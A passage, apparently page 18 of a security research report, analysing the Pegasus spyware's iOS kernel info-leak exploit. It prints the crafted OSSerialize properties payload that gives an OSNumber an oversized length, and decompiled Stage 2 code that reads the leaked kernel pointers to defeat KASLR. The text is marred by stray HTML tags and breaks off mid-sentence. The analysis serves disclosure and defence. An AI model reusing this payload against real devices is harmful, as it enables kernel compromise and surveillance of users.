Technical Analysis of the Pegasus Exploits on iOS

unsigned char properties[] = {
// kOSSerializeBinarySignature
0xD3, 0x00, 0x00, 0x00,
// kOSSerializeEndCollecton | kOSSerializeDictionary | 2
0x02, 0x00, 0x00, 0x81,
// KEY 1 specified as 30 bytes long (0x1E)
// kOSSerializeSymbol | 0x1E
0x1E, 0x00, 0x00, 0x08,
"HIDKeyboardModifierMappingSrc", 0x00,
// (30 bytes)
// padding (30 + 3 / 4 = 8 DWORDS)
0x00, 0x00,
// VALUE 1
// kOSSerializeNumber specified as 0x800 bits (256 bytes)
0x00, 0x08, 0x00, 0x04,
// value <strong>of</strong> OSNumber (4)
0x04, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// KEY 2 specified as 30 bytes long (0x1E)
// kOSSerializeSymbol | 0x1E
0x1E, 0x00, 0x00, 0x08,
"HIDKeyboardModifierMappingDst", 0x00, // (30 chars)
// padding (30 + 3 / 4 = 8 DWORDS)
0x00, 0x00,
// VALUE 2
// kOSSerializeEndCollecton | kOSSerializeNumber | 32
0x20, 0x00, 0x00, 0x84,
// value <strong>of</strong> OSNumber (0x193)
0x93, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
Stage 2 calls IORegistryEntryGetProperty in order to find <strong>the</strong> entry for
HIDKeyboardModifierMappingSrc, which results in <strong>the</strong> properties array creating an
OSNumber larger than <strong>the</strong> maximum 64-bits (8 bytes). Stage 2 uses <strong>the</strong> following code fragment
to call is_io_registry_entry_get_property_bytes, which will read past <strong>the</strong> end <strong>of</strong> a
kernel stack buffer and copy <strong>the</strong> data to a kernel heap buffer. The
IORegistryEntryGetProperty function <strong>the</strong>n returns this heap buffer to user space.
Pointers from this stack overread will <strong>the</strong>refore be leaked to user mode and can be used to
calculate <strong>the</strong> base address for <strong>the</strong> iOS kernel:
do
{
...
} while ( IORegistryEntryGetProperty_0(v13, "HIDKeyboardModifierMappingSrc", dataBuffer, &size)
);
writeLog(7, "%.2s%5.5d\n", "kaslr.c", 127);
if ( size > 8 )
{
writeLog(7, "%.2s%5.5d\n", "kaslr.c", 138);
return dataBuffer[index] & 0xFFF00000;
}
Two aspects <strong>of</strong> this code should be explicitly noted. First, <strong>the</strong> properties array specifies that <strong>the</strong>
OSNumber value is 256 bytes in size, which is what ultimately leads to data leakage. Second,
<strong>the</strong> index value used to find <strong>the</strong> memory location within <strong>the</strong> returned dataBuffer array varies
Page 18